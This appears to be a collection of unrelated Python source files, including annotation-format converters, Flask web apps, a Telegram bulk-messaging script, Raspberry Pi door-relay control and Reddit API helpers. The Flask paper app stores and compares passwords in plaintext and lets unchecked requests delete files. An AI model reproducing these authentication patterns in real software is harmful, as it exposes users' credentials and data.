cats[cat["id"]] = cat # cat lookup by cat_id
if "annotations" in self.dataset and "categories" in self.dataset:
for anno in self.dataset["annotations"]:
# Create list of images within each class
cat_to_imgs[anno["category_id"]].append(anno["image_id"])
print("Index created!")
# Set up class data structures
self.annos = annos
self.imgs = imgs
self.cats = cats
self.img_to_annos = img_to_annos
self.cat_to_imgs = cat_to_imgs
def info(self):
"""Print info about the annotation file."""
for key, value in self.dataset["info"].items():
print(f"{key}: {value}")
def get_cat_dict(self):
"""Get category dictionary of {name: id}.
:param coco_api (CoCo) : Instance of CoCo handler class.
:return cat_dict (dict) : Dictionary of {cat_name: cat_id}.
"""
cats = self.load_cats(self.get_cat_ids())
return {cat["name"]: cat["id"] for cat in cats}
def get_anno_ids(self, img_ids=[], cat_ids=[], iscrowd=None):
"""Get ann ids that satisfy given filter conditions. default skips that filter
:param img_ids (int array) : get annos for given imgs
:param cat_ids (int array) : get annos for given cats
:param iscrowd (boolean) : get annos for given crowd label (False or True)
:return: ids (int array) : integer array of ann ids
"""
# Always start with arrays
img_ids = img_ids if _is_array_like(img_ids) else [img_ids]
cat_ids = cat_ids if _is_array_like(cat_ids) else [cat_ids]
# If nothing is passed, return entire list of annotations
if len(img_ids) == len(cat_ids) == 0:
annos = self.dataset["annotations"]
else:
# If image_ids are passed, create list of annos for each
if len(img_ids) > 0:
lists = [
self.img_to_annos[img_id]
for img_id in img_ids
if img_id in self.img_to_annos
]
annos = list(itertools.chain.from_iterable(lists))
else:
annos = self.dataset["annotations"]
annos = (
annos
if len(cat_ids) == 0
else [anno for anno in annos if anno["category_id"] in cat_ids]
)
if iscrowd:
ids = [anno["id"] for anno in annos if anno["iscrowd"] == iscrowd]
else:
ids = [anno["id"] for anno in annos]
return ids
def get_cat_ids(self, cat_names=[], super_cats=[], cat_ids=[]):
"""Filtering parameters. default skips that filter.
:param cat_names (str array) : get cats for given cat names
:param super_cats (str array) : get cats for given supercategory names
:param cat_ids (int array) : get cats for given cat ids
:return: ids (int array) : integer array of cat ids
"""
# Once again, be sure they are always arrays
cat_names = cat_names if _is_array_like(cat_names) else [cat_names]
super_cats = super_cats if _is_array_like(super_cats) else [super_cats]
cat_ids = cat_ids if _is_array_like(cat_ids) else [cat_ids]
if len(cat_names) == len(super_cats) == len(cat_ids) == 0:
cats = self.dataset["categories"]
else:
# If list of cats is passed, get list of ids
cats = self.dataset["categories"]
cats = (
cats
if len(cat_names) == 0
else [cat for cat in cats if cat["name"] in cat_names]
)
# If supercategories is passed, get list of cats within
cats = (
cats
if len(super_cats) == 0
else [cat for cat in cats if cat["supercategory"] in super_cats]
)
cats = (
cats
if len(cat_ids) == 0
else [cat for cat in cats if cat["id"] in cat_ids]
)
ids = [cat["id"] for cat in cats]
return ids
def get_img_ids(self, img_ids=[], cat_ids=[]):
"""Get img ids that satisfy given filter conditions.
:param img_ids (int array) : get imgs for given ids
:param cat_ids (int array) : get imgs with all given cats
:return: ids (int array) : integer array of img ids
"""
# Always use arrays
img_ids = img_ids if _is_array_like(img_ids) else [img_ids]
cat_ids = cat_ids if _is_array_like(cat_ids) else [cat_ids]
if len(img_ids) == len(cat_ids) == 0:
ids = self.imgs.keys()
else:
ids = set(img_ids)
for i, cat_id in enumerate(cat_ids):
if i == 0 and len(ids) == 0:
ids = set(self.cat_to_imgs[cat_id])
else:
ids &= set(self.cat_to_imgs[cat_id])
return list(ids)
def get_img_ids_from_cats(self, img_ids=[], cat_ids=[]):
"""Get img_ids that fall into *any* of the cat_ids.
:param cat_ids (int array) : get imgs with all given cats
:return: ids (int array) : integer array of img ids
"""
# Always use arrays
img_ids = img_ids if _is_array_like(img_ids) else [img_ids]
cat_ids = cat_ids if _is_array_like(cat_ids) else [cat_ids]
if len(img_ids) == len(cat_ids) == 0:
ids = self.imgs.keys()
else:
ids = set(img_ids)
for i, cat_id in enumerate(cat_ids):
if i == 0 and len(ids) == 0:
ids = set(self.cat_to_imgs[cat_id])
else:
ids |= set(self.cat_to_imgs[cat_id])
return list(ids)
def load_annos(self, ids=[]):
"""Load annotations with the specified ids.
:param ids (int array) : integer ids specifying annos
:return: annos (object array) : loaded ann objects
"""
if _is_array_like(ids):
return [self.annos[id] for id in ids]
elif type(ids) == int:
return [self.annos[ids]]
def load_cats(self, ids=[]):
"""Load cats with the specified ids.
:param ids (int array) : integer ids specifying cats
:return: cats (object array) : loaded cat objects
"""
if _is_array_like(ids):
return [self.cats[id] for id in ids]
elif type(ids) == int:
return [self.cats[ids]]
def load_imgs(self, ids=[]):
"""Load annos with the specified ids.
:param ids (int array) : integer ids specifying img
:return: imgs (object array) : loaded img objects
"""
if _is_array_like(ids):
return [self.imgs[id] for id in ids]
elif type(ids) == int:
return [self.imgs[ids]]
def parse(self, imgs_data, cats_data, anno_data):
# Dict to hold parsed data
data = {}
# Track and report progress using progress bar
progress_length = len(anno_data)
progress_cnt = 0
print_progress_bar(
0,
progress_length,
prefix="\nCOCO Parsing:".ljust(15),
suffix="Complete",
length=40,
)
for anno in anno_data:
image_id = anno["image_id"]
cls_id = anno["category_id"]
filename = None
img_width = None
img_height = None
cls = None
for info in imgs_data:
if info["id"] == image_id:
filename, img_width, img_height = (
info["file_name"].split(".")[0],
info["width"],
info["height"],
)
for category in cats_data:
if category["id"] == cls_id:
cls = category["name"]
size = {"width": img_width, "height": img_height, "depth": "3"}
bndbox = {
"xmin": anno["bbox"][0],
"ymin": anno["bbox"][1],
"xmax": anno["bbox"][2] + anno["bbox"][0],
"ymax": anno["bbox"][3] + anno["bbox"][1],
}
obj_info = {"name": cls, "bndbox": bndbox}
if filename in data:
obj_idx = str(int(data[filename]["objects"]["num_obj"]))
data[filename]["objects"][str(obj_idx)] = obj_info
data[filename]["objects"]["num_obj"] = int(obj_idx) + 1
elif filename not in data:
obj = {"num_obj": "1", "0": obj_info}
data[filename] = {"size": size, "objects": obj}
print_progress_bar(
progress_cnt + 1,
progress_length,
prefix="COCO Parsing:".ljust(15),
suffix="Complete",
length=40,
)
progress_cnt += 1
return True, data
class Yolo:
"""Handler Class for YOLO Format."""
def __init__(self, cls_list_path):
with open(cls_list_path, "r") as file:
l = file.read().splitlines()
self.cls_list = l
def convert_coordinates(self, size, box):
dw = 1.0 / size[0]
dh = 1.0 / size[1]
# Calculate box coordinates
# (xmin + xmax / 2)
x = (box[0] + box[1]) / 2.0
# (ymin + ymax / 2)
y = (box[2] + box[3]) / 2.0
# Calculate width and height
# (xmax - xmin) = w
w = box[1] - box[0]
# (ymax - ymin) = h
h = box[3] - box[2]
x = x * dw
w = w * dw
y = y * dh
h = h * dh
return (round(x, 3), round(y, 3), round(w, 3), round(h, 3))
def parse(self, label_path, img_path, img_type=".jpg"):
try:
(dir_path, dir_names, filenames) = next(
os.walk(os.path.abspath(label_path))
)
data = {}
progress_length = len(filenames)
progress_cnt = 0
print_progress_bar(
0,
progress_length,
prefix="\nYOLO Parsing:".ljust(15),
suffix="Complete",
length=40,
)
for filename in filenames:
txt = open(os.path.join(dir_path, filename), "r")
filename = filename.split(".")[0]
img = Image.open(os.path.join(img_path, "".join([filename, img_type])))
img_width = str(img.size[0])
img_height = str(img.size[1])
img_depth = 3
size = {"width": img_width, "height": img_height, "depth": img_depth}
obj = {}
obj_cnt = 0
for line in txt:
elements = line.split(" ")
name_id = elements[0]
xminAddxmax = float(elements[1]) * (2.0 * float(img_width))
yminAddymax = float(elements[2]) * (2.0 * float(img_height))
w = float(elements[3]) * float(img_width)
h = float(elements[4]) * float(img_height)
xmin = (xminAddxmax - w) / 2
ymin = (yminAddymax - h) / 2
xmax = xmin + w
ymax = ymin + h
bndbox = {
"xmin": float(xmin),
"ymin": float(ymin),
"xmax": float(xmax),
"ymax": float(ymax),
}
obj_info = {"name": name_id, "bndbox": bndbox}
obj[str(obj_cnt)] = obj_info
obj_cnt += 1
obj["num_obj"] = obj_cnt
data[filename] = {"size": size, "objects": obj}
print_progress_bar(
progress_cnt + 1,
progress_length,
prefix="YOLO Parsing:".ljust(15),
suffix="Complete",
length=40,
)
progress_cnt += 1
return True, data
except Exception as e:
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
msg = "ERROR : {}, moreInfo : {}\t{}\t{}".format(
e, exc_type, fname, exc_tb.tb_lineno
)
return False, msg
def generate(self, data):
try:
progress_length = len(data)
progress_cnt = 0
print_progress_bar(
0,
progress_length,
prefix="\nYOLO Generating:".ljust(15),
suffix="Complete",
length=40,
)
result = {}
for key in data:
img_width = int(data[key]["size"]["width"])
img_height = int(data[key]["size"]["height"])
contents = ""
for idx in range(0, int(data[key]["objects"]["num_obj"])):
xmin = data[key]["objects"][str(idx)]["bndbox"]["xmin"]
ymin = data[key]["objects"][str(idx)]["bndbox"]["ymin"]
xmax = data[key]["objects"][str(idx)]["bndbox"]["xmax"]
ymax = data[key]["objects"][str(idx)]["bndbox"]["ymax"]
b = (float(xmin), float(xmax), float(ymin), float(ymax))
bb = self.convert_coordinates((img_width, img_height), b)
cls_id = self.cls_list.index(data[key]["objects"][str(idx)]["name"])
bndbox = "".join(["".join([str(e), " "]) for e in bb])
contents = "".join([contents, str(cls_id), " ", bndbox[:-1], "\n"])
result[key] = contents
print_progress_bar(
progress_cnt + 1,
progress_length,
prefix="YOLO Generating:".ljust(15),
suffix="Complete",
length=40,
)
progress_cnt += 1
return True, result
except Exception as e:
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
msg = "ERROR : {}, moreInfo : {}\t{}\t{}".format(
e, exc_type, fname, exc_tb.tb_lineno
)
return False, msg
def save(self, data, save_path, img_path, img_type, manifest_path):
try:
progress_length = len(data)
progress_cnt = 0
print_progress_bar(
0,
progress_length,
prefix="\nYOLO Saving:".ljust(15),
suffix="Complete",
length=40,
)
m_path = os.path.abspath(os.path.join(manifest_path, "manifest.txt"))
with open(m_path, "w") as manifest_file:
for key in data:
manifest_file.write(
os.path.abspath(
os.path.join(img_path, "".join([key, img_type, "\n"]))
)
)
with open(
os.path.abspath(
os.path.join(save_path, "".join([key, ".txt"]))
),
"w",
) as label:
label.write(data[key])
print_progress_bar(
progress_cnt + 1,
progress_length,
prefix="YOLO Saving:".ljust(15),
suffix="Complete",
length=40,
)
progress_cnt += 1
return True, None
except Exception as e:
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
msg = "ERROR : {}, moreInfo : {}\t{}\t{}".format(
e, exc_type, fname, exc_tb.tb_lineno
)
return False, msg
| python |
'''
Dictionaries in python
'''
# %%
# create an example dictionary
xDict = {
'firstName': 'Nagasudhir',
'lastname': 'Pulla',
'age': 28,
'hobbies': ['tv', 'playing', 'youtube'],
'metaData': {
'proficiency': 'level 1',
'designation': 'Deputy Manager',
'department': 'IT',
'languages': ['C#', 'Javascript', 'HTML', 'CSS', 'typescript', 'python']
}
}
# %%
# access all the keys of a dictionary using 'keys' function
xKeys = list(xDict.keys())
print('The keys of dictionary are ...')
print(xKeys)
# %%
# check if key is present in a dictionary using in operator
if 'age' in xDict:
print('age key is present in the dictionary')
print('Is location key present in xDict? - {0}'.format('location' in xDict))
# %%
# access all the values of a dictionary using 'values' function
xVals = list(xDict.values())
print('The values of dictionary are ...')
print(xVals)
# %%
# get all the values types of dictionary into an array using list comprehension
typesArr = [type(x) for x in xDict.values()]
print(typesArr)
# %%
# inserting/editing a key-value pair in a dictionary
xDict['location'] = 'Mumbai'
# %%
# accessing dictionary values
outputStatement = 'The person name is {0} {1}.\nHe lives at {2}, his hobbies are {3}.\nHe knows {4}'\
.format(xDict['firstName'], xDict['lastname'], xDict['location'],
', '.join(xDict['hobbies']), ', '.join(xDict['metaData']['languages']))
print(outputStatement)
# %%
| python |
import multiprocessing as mproc
import logging
import numpy as np
global_mp_vars = {}
def eval_input(network, input_test_case) -> np.float64:
result = input_test_case.copy()
for comp in network:
if input_test_case[comp[0]] > input_test_case[comp[1]]:
result[[comp[0], comp[1]]] = result[[comp[1], comp[0]]]
return np.all(result[:-1] <= result[1:]).astype(np.float64)
def init_worker(mat, mat_shape):
global_mp_vars['mat'] = mat
global_mp_vars['mat_shape'] = mat_shape
def worker(first, last, net_pop, input_pop):
tmp = np.frombuffer(global_mp_vars['mat'], dtype=np.float64) \
.reshape(global_mp_vars['mat_shape'])
for i, net in enumerate(net_pop):
for j, input_case in enumerate(input_pop):
val = eval_input(net, input_case)
tmp[first+i, j] = val
def evaluate(population: list, input_population: list,
multiprocessing: bool = False) -> np.ndarray:
net_pop_size = len(population)
input_pop_size = len(input_population)
if multiprocessing:
ctype = np.ctypeslib.as_ctypes_type(np.float64)
shared_matrix = mproc.RawArray(ctype, net_pop_size * input_pop_size)
fit_matrix = np.frombuffer(shared_matrix, np.float64) \
.reshape((net_pop_size, input_pop_size))
n_procs = mproc.cpu_count()
step = np.ceil(net_pop_size / n_procs).astype(int)
initargs = (shared_matrix, (net_pop_size, input_pop_size))
with mproc.Pool(processes=n_procs, initializer=init_worker,
initargs=initargs) as pool:
for i in range(n_procs):
first = step * i
last = step * (i + 1)
args = (first, last,
population[first:last],
input_population)
pool.apply_async(worker, args=args)
pool.close()
pool.join()
net_fit, input_fit = (np.sum(fit_matrix, axis=1) / input_pop_size,
1 - np.sum(fit_matrix, axis=0) / net_pop_size)
return net_fit, input_fit
else:
# int? shouldn't it be np.float64?
fit_matrix = np.empty((net_pop_size, input_pop_size), dtype=int)
for i, net in enumerate(population):
for j, input_case in enumerate(input_population):
fit_matrix[i, j] = eval_input(net, input_case)
net_fit, input_fit = (np.sum(fit_matrix, axis=1) / input_pop_size,
1 - np.sum(fit_matrix, axis=0) / net_pop_size)
return net_fit, input_fit
| python |
# coding=utf-8
# --------------------------------------------------------------------------
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
# --------------------------------------------------------------------------
from msrest.serialization import Model
class EntityCommonProperties(Model):
"""Entity common property bag.
Variables are only populated by the server, and will be ignored when
sending a request.
:ivar additional_data: A bag of custom fields that should be part of the
entity and will be presented to the user.
:vartype additional_data: dict[str, object]
:ivar friendly_name: The graph item display name which is a short humanly
readable description of the graph item instance. This property is optional
and might be system generated.
:vartype friendly_name: str
"""
_validation = {
'additional_data': {'readonly': True},
'friendly_name': {'readonly': True},
}
_attribute_map = {
'additional_data': {'key': 'additionalData', 'type': '{object}'},
'friendly_name': {'key': 'friendlyName', 'type': 'str'},
}
def __init__(self, **kwargs) -> None:
super(EntityCommonProperties, self).__init__(**kwargs)
self.additional_data = None
self.friendly_name = None
| python |
class Solution:
def equalSubstring(self, s, t, maxCost):
# sliding window
_arr = [abs(ord(s[i])-ord(t[i])) for i in range(len(s))]
i = 0
for j in range(len(_arr)):
maxCost -= _arr[j]
if maxCost < 0:
maxCost += _arr[i]
i += 1
return j - i + 1
| python |
import os
from flask import Flask
from flask.ext import restful
from flask.ext.restful import reqparse, Api
from flask.ext.sqlalchemy import SQLAlchemy
from flask.ext.bcrypt import Bcrypt
from flask.ext.httpauth import HTTPBasicAuth
basedir = os.path.join(os.path.abspath(os.path.dirname(__file__)), '../')
app = Flask(__name__)
app.config.from_object('app.config')
# flask-sqlalchemy
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + os.path.join(basedir, 'app.sqlite')
db = SQLAlchemy(app)
# flask-restful
api = restful.Api(app)
# flask-bcrypt
flask_bcrypt = Bcrypt(app)
# flask-httpauth
auth = HTTPBasicAuth()
@app.after_request
def after_request(response):
response.headers.add('Access-Control-Allow-Origin', '*')
response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization')
response.headers.add('Access-Control-Allow-Methods', 'GET,PUT,POST,DELETE')
return response
import views | python |
# Program to send bulk customized messages through Telegram Desktop application
# Author @inforkgodara
import pyautogui
import pandas
import time
excel_data = pandas.read_excel('Recipients data.xlsx', sheet_name='Recipients')
count = 0
time.sleep(3)
for column in excel_data['Username'].tolist():
pyautogui.press('esc')
pyautogui.hotkey('ctrl', 'f')
time.sleep(1)
pyautogui.write(str(excel_data['Username'][count]));
pyautogui.press('enter')
time.sleep(2)
pyautogui.press('down')
pyautogui.press('enter')
pyautogui.write(str(excel_data['Message'][0]));
pyautogui.press('enter')
pyautogui.press('esc')
count = count + 1
print('The script executed successfully.') | python |
# -*- coding: future_fstrings -*-
"""
This module defines a single Application Item in the AppsPanel.
"""
from xdgprefs.gui.custom_item import CustomItem
def _get_icon(icon_name):
"""Return the path to an icon."""
theme = 'Adwaita'
size = '256x256'
path = f'/usr/share/icons/{theme}/{size}/mimetypes/{icon_name}.png'
return path
def _get_types(type_list):
if type_list is None:
return ''
else:
return ', '.join(type_list)
class AppItem(CustomItem):
def __init__(self, app, listview):
CustomItem.__init__(self, listview,
app.name,
app.comment,
_get_types(app.mime_type),
_get_icon(app.icon))
self.app = app
| python |
import os
from datetime import timedelta
import sqlite
import time
import timeutils # self package
import sessions # self package
import mdfactory # self package
import path # self package
from flask import Flask, render_template, request, redirect, url_for, session
from werkzeug.utils import secure_filename
from flaskext.markdown import Markdown
app = Flask(__name__, template_folder='templates', static_folder='static')
app.config['SECRET_KEY'] = os.urandom(24)
#app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)
Markdown(app)
app.jinja_env.auto_reload = True
app.config['TEMPLATES_AUTO_RELOAD'] = True
basedir = os.path.abspath(os.path.dirname(__file__))
basedir = basedir + '/static/refs/'
moviedir = os.path.abspath(os.path.dirname(__file__)) + '/static/movies/'
@app.route('/')
def main():
if 'username' in session.keys() and 'uid' in session.keys():
return redirect(url_for('show_papers', username=session['username']))
else:
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template("login.html")
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
users = sqlite.select_user(username)
if len(users) == 0:
return "Error! Cannot find this username!"
else:
if password == users[0][2]:
session['uid'] = users[0][0]
session['username'] = username
return redirect(url_for('show_papers', username=username))
else:
return "Password error!"
return "Error!"
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'GET':
return render_template("register.html")
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
email = request.form.get('email')
users = sqlite.select_user(username)
if len(users) != 0:
return "Error! This username has been registered!"
else:
sqlite.add_user(username, password)
return redirect(url_for('login'))
return "Error!"
@app.route('/about', methods=['GET'])
def about():
text = mdfactory.md2text('about')
return render_template("about.html", text=text)
@app.route('/movies', methods=['GET'])
@app.route('/movies/', methods=['GET'])
def movie():
movies = os.listdir(moviedir)
return render_template("movie.html", movies=movies)
@app.route('/movies/<moviename>', methods=['GET'])
def watch_movie(moviename):
moviepath = '/static/movies/' + moviename
return render_template("watch_movie.html", name=moviename, path=moviepath)
@app.route('/delete', methods=['GET', 'POST'])
def delete_paper():
if request.method == 'POST':
fileid = request.form.get('fileid')
if fileid is not None:
paper = sqlite.select_paper(fileid)
filename = paper[0][2]
if os.path.exists(basedir+filename):
os.remove(basedir+filename)
sqlite.delete_paper(fileid)
return redirect(url_for('show_papers', username=session['username']))
@app.route('/read/<paperid>', methods=['GET'])
def read_paper(paperid):
paper_info = sqlite.select_paper(paperid)
return render_template("read.html", paper=paper_info)
@app.route('/<username>/new', methods=['GET', 'POST'])
def add_paper(username):
if request.method == 'GET':
if username != session['username']:
return redirect(url_for('login'))
if username == session['username']:
return render_template("add_paper.html", username=username)
if request.method == 'POST':
file = request.files.get('file')
name = secure_filename(file.filename)
file.save(basedir + name)
desc = request.form.get('desc')
cite = request.form.get('cite')
sqlite.add_paper(session['uid'], name, time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time.time())), desc, cite, '')
return redirect(url_for('show_papers', username=session['username']))
@app.route('/<username>')
@app.route('/<username>/')
def show_papers(username):
if 'username' not in session.keys() or 'uid' not in session.keys() or username != session['username']:
return redirect(url_for('login'))
if username == session['username']:
papers = sqlite.show_papers(session['uid'])
temp = []
for i in range(0, len(papers)):
temp.append(list(papers[i]))
temp[i][3] = timeutils.perform(temp[i][3])
temp[i][2] = temp[i][2].split('.')[0]
temp.reverse()
return render_template("papers.html", papers=temp, username=username)
if __name__ == "__main__":
app.run(debug=False, port=80, host='0.0.0.0')
| python |
# -*- coding: utf-8 -*-
# Copyright: 2016-2018, Jens Carroll
# These sources are released under the terms of the MIT license: see LICENSE
import time, os, signal, random, math
from threading import Lock, Thread, Event
from logger import Logger
import RPi.GPIO as GPIO
OPEN_FRONT_DOOR_OUTPUT = 4 # Pin 5
OPEN_APARTMENT_DOOR_OUTPUT = 17 # Pin 11
RING_INPUT = 15 # Pin 10
lock = Lock()
class BreakoutException(Exception):
pass
class OpenFrontDoorThread(Thread):
def __init__(self, logger, wait = False, test_mode = False):
self._wait = wait
self._logger = logger
self._test_mode = test_mode
super(OpenFrontDoorThread, self).__init__()
def run(self):
delay = random.randint(3, 6)
if self._wait:
time.sleep(delay) # wait 3-6 sec until we open the door
if self._test_mode:
self._logger.info("** Opendoor in test mode. Door will not be opened. **")
if not self._test_mode:
GPIO.output(OPEN_FRONT_DOOR_OUTPUT, GPIO.LOW) # Relais close
self._logger.warn("Front door relais on (4 secs).")
time.sleep(4) # Relais closed for for 4 secs.
if not self._test_mode:
GPIO.output(OPEN_FRONT_DOOR_OUTPUT, GPIO.HIGH) # Relais open
self._logger.warn("Front door relais off.")
class OpenApartmentDoorThread(Thread):
def __init__(self, logger, wait = 0, loops = 1, delay = 55, pipe = None, test_mode = False):
super(OpenApartmentDoorThread, self).__init__()
self._logger = logger
self._wait = wait # secs before execution
self._loops = loops # to prolong door opening
self._loop_delay = delay # delay in secs for loops > 1
self._pipe = pipe
self._stop_event = Event()
self._test_mode = test_mode
def _send_to_app(self, msg):
if self._pipe != None:
self._pipe.send_to_app(msg)
def _stopped(self):
return self._stop_event.is_set()
def stop(self):
self._stop_event.set()
def run(self):
if lock.acquire(False):
try:
self._logger.debug("Enter apartment door thread (wait=%d, loops=%d, delay=%d)." %
(self._wait, self._loops, self._loop_delay))
if self._wait > 0:
time.sleep(self._wait) # wait ? secs before we close the relais
self._logger.debug("Continue apartment door thread.")
for i in range(0, self._loops):
if self._test_mode:
self._logger.info("** Opendoor in test mode. Door will not be opened. **")
self._logger.warn("Apartment door relais on (loop: %d of %d)." % (i+1, self._loops))
if not self._test_mode:
GPIO.output(OPEN_APARTMENT_DOOR_OUTPUT, GPIO.LOW) # Relais close
time.sleep(1) # Relais closed for 1 sec.
if not self._test_mode:
GPIO.output(OPEN_APARTMENT_DOOR_OUTPUT, GPIO.HIGH) # Relais open
self._logger.warn("Apartment door relais off.")
if self._loops > 1:
for j in range(0, self._loop_delay):
if self._stopped():
raise BreakoutException
counter = self._loops * self._loop_delay - i * self._loop_delay - j
self._send_to_app("APARTMENT DOOR TIMER %d" % counter)
time.sleep(1)
except BreakoutException:
self._logger.warn("Apartment door timer stopped.")
finally:
self._send_to_app("APARTMENT DOOR TIMER OFF")
lock.release()
class Port(object):
def __init__(self, logger, test_mode=False):
self._logger = logger
self._doorbell_rang = False
self._test_mode = test_mode
self._setup_gpio()
self._add_event_detect()
self._thread = None
signal.signal(signal.SIGALRM, self._timeout_callback)
self._logger.debug("Port initialized!")
def _setup_gpio(self):
"""
Setup GPIO ports
"""
GPIO.setwarnings(False)
GPIO.setmode(GPIO.BCM)
GPIO.setup(RING_INPUT, GPIO.IN, pull_up_down=GPIO.PUD_UP)
# Relais open (inverse logic)
GPIO.setup(OPEN_FRONT_DOOR_OUTPUT, GPIO.OUT)
GPIO.output(OPEN_FRONT_DOOR_OUTPUT, GPIO.HIGH)
# Relais open (inverse logic)
GPIO.setup(OPEN_APARTMENT_DOOR_OUTPUT, GPIO.OUT)
GPIO.output(OPEN_APARTMENT_DOOR_OUTPUT, GPIO.HIGH)
def _add_event_detect(self):
"""
Enable interrupts on doorbell
"""
GPIO.add_event_detect(RING_INPUT, GPIO.FALLING, callback = self._ringing_callback, bouncetime = 300)
def _remove_event_detect(self):
"""
Disable interrupts on doorbell
"""
GPIO.remove_event_detect(RING_INPUT)
def _ringing_callback(self, channel):
"""
Interrupt triggered (keep this callback as fast as possible)
"""
self._remove_event_detect() # No interrupts after that
signal.setitimer(signal.ITIMER_REAL, 14) # 14 sec timeout
self._doorbell_rang = True
def _timeout_callback(self, a, b):
signal.setitimer(signal.ITIMER_REAL, 0) # Timeout timer off
self._logger.debug("Timeout callback - Doorbell Interrupts enabled again.")
self._add_event_detect()
def open_front_door(self):
"""
Keep the front door open for a few secs.
"""
self._logger.debug("Disable Doorbell Interrupts.")
self._remove_event_detect() # No interrupts after that
signal.setitimer(signal.ITIMER_REAL, 12) # 12 sec timeout
thread = OpenFrontDoorThread(self._logger, False)
thread.start()
def open_apartment_door(self, after=None):
"""
Keep the apartment door open for a minute.
"""
wait = 0
if after == 1:
wait = 60
elif after == 2:
wait = 90
elif after == 3:
wait = 120
thread = OpenApartmentDoorThread(self._logger, wait)
thread.start()
def open_apartment_door_for(self, pipe, mins):
"""
Keep the apartment door open for n minutes.
"""
self._thread = OpenApartmentDoorThread(self._logger, loops=mins, delay=59, pipe=pipe)
self._thread.start()
def stop_open_apartment_door_for(self):
self._thread.stop()
self._thread.join()
self._thread = None
def delayed_open_front_door(self):
"""
Keep the door open for a few secs, but wait a few secs
before doing so.
"""
thread = OpenFrontDoorThread(self._logger, True, self._test_mode)
thread.start()
def door_ring(self):
"""
Check if someone rang the door bell at least once.
"""
if self._doorbell_rang:
self._logger.debug("Ringing detected (via Interrupt) - Disabled for 14 sec.")
return self._doorbell_rang
def door_ring_release(self):
"""
Release ring_detected.
"""
self._doorbell_rang = False
self._logger.debug("Release auto open ringing.")
def main():
# Be sure we have root privileges
if os.geteuid() != 0:
exit("You need to have root privileges. Exiting.")
logger = Logger.get(verbose = True)
gpio = Port(logger)
i = 0
while True:
if gpio.door_ring():
gpio.door_ring_release()
# every 1 sec ... we should not miss any door bells
print("running %d sec." % i)
i += 1
time.sleep(1)
if __name__ == "__main__":
main()
| python |
"""Provide the helper classes."""
from json import dumps
from typing import TYPE_CHECKING, Generator, List, Optional, Union
from ..const import API_PATH
from .base import PRAWBase
from .reddit.draft import Draft
from .reddit.live import LiveThread
from .reddit.multi import Multireddit, Subreddit
if TYPE_CHECKING: # pragma: no cover
import praw
class DraftHelper(PRAWBase):
r"""Provide a set of functions to interact with :class:`.Draft` instances.
.. note::
The methods provided by this class will only work on the currently authenticated
user's :class:`.Draft`\ s.
"""
def __call__(
self, *, draft_id: Optional[str] = None
) -> Union[List["praw.models.Draft"], "praw.models.Draft"]:
"""Return a list of :class:`.Draft` instances.
:param draft_id: When provided, return :class:`.Draft` instance (default:
``None``).
:returns: A :class:`.Draft` instance if ``draft_id`` is provided. Otherwise, a
list of :class:`.Draft` objects.
.. note::
Drafts fetched using a specific draft ID are lazily loaded, so you might
have to access an attribute to get all the expected attributes.
This method can be used to fetch a specific draft by ID, like so:
.. code-block:: python
draft_id = "124862bc-e1e9-11eb-aa4f-e68667a77cbb"
draft = reddit.drafts(draft_id=draft_id)
print(draft)
"""
if draft_id is not None:
return Draft(self._reddit, id=draft_id)
return self._draft_list()
def _draft_list(self) -> List["praw.models.Draft"]:
"""Get a list of :class:`.Draft` instances.
:returns: A list of :class:`.Draft` instances.
"""
return self._reddit.get(API_PATH["drafts"], params={"md_body": True})
def create(
self,
*,
flair_id: Optional[str] = None,
flair_text: Optional[str] = None,
is_public_link: bool = False,
nsfw: bool = False,
original_content: bool = False,
selftext: Optional[str] = None,
send_replies: bool = True,
spoiler: bool = False,
subreddit: Optional[
Union[str, "praw.models.Subreddit", "praw.models.UserSubreddit"]
] = None,
title: Optional[str] = None,
url: Optional[str] = None,
**draft_kwargs,
) -> "praw.models.Draft":
"""Create a new :class:`.Draft`.
:param flair_id: The flair template to select (default: ``None``).
:param flair_text: If the template's ``flair_text_editable`` value is ``True``,
this value will set a custom text (default: ``None``). ``flair_id`` is
required when ``flair_text`` is provided.
:param is_public_link: Whether to enable public viewing of the draft before it
is submitted (default: ``False``).
:param nsfw: Whether the draft should be marked NSFW (default: ``False``).
:param original_content: Whether the submission should be marked as original
content (default: ``False``).
:param selftext: The Markdown formatted content for a text submission draft. Use
``None`` to make a title-only submission draft (default: ``None``).
``selftext`` can not be provided if ``url`` is provided.
:param send_replies: When ``True``, messages will be sent to the submission
author when comments are made to the submission (default: ``True``).
:param spoiler: Whether the submission should be marked as a spoiler (default:
``False``).
:param subreddit: The subreddit to create the draft for. This accepts a
subreddit display name, :class:`.Subreddit` object, or
:class:`.UserSubreddit` object. If ``None``, the :class:`.UserSubreddit` of
currently authenticated user will be used (default: ``None``).
:param title: The title of the draft (default: ``None``).
:param url: The URL for a ``link`` submission draft (default: ``None``). ``url``
can not be provided if ``selftext`` is provided.
Additional keyword arguments can be provided to handle new parameters as Reddit
introduces them.
:returns: The new :class:`.Draft` object.
"""
if selftext and url:
raise TypeError("Exactly one of `selftext` or `url` must be provided.")
if isinstance(subreddit, str):
subreddit = self._reddit.subreddit(subreddit)
data = Draft._prepare_data(
flair_id=flair_id,
flair_text=flair_text,
is_public_link=is_public_link,
nsfw=nsfw,
original_content=original_content,
selftext=selftext,
send_replies=send_replies,
spoiler=spoiler,
subreddit=subreddit,
title=title,
url=url,
**draft_kwargs,
)
return self._reddit.post(API_PATH["draft"], data=data)
class LiveHelper(PRAWBase):
r"""Provide a set of functions to interact with :class:`.LiveThread`\ s."""
def __call__(
self, id: str
) -> "praw.models.LiveThread": # pylint: disable=invalid-name,redefined-builtin
"""Return a new lazy instance of :class:`.LiveThread`.
This method is intended to be used as:
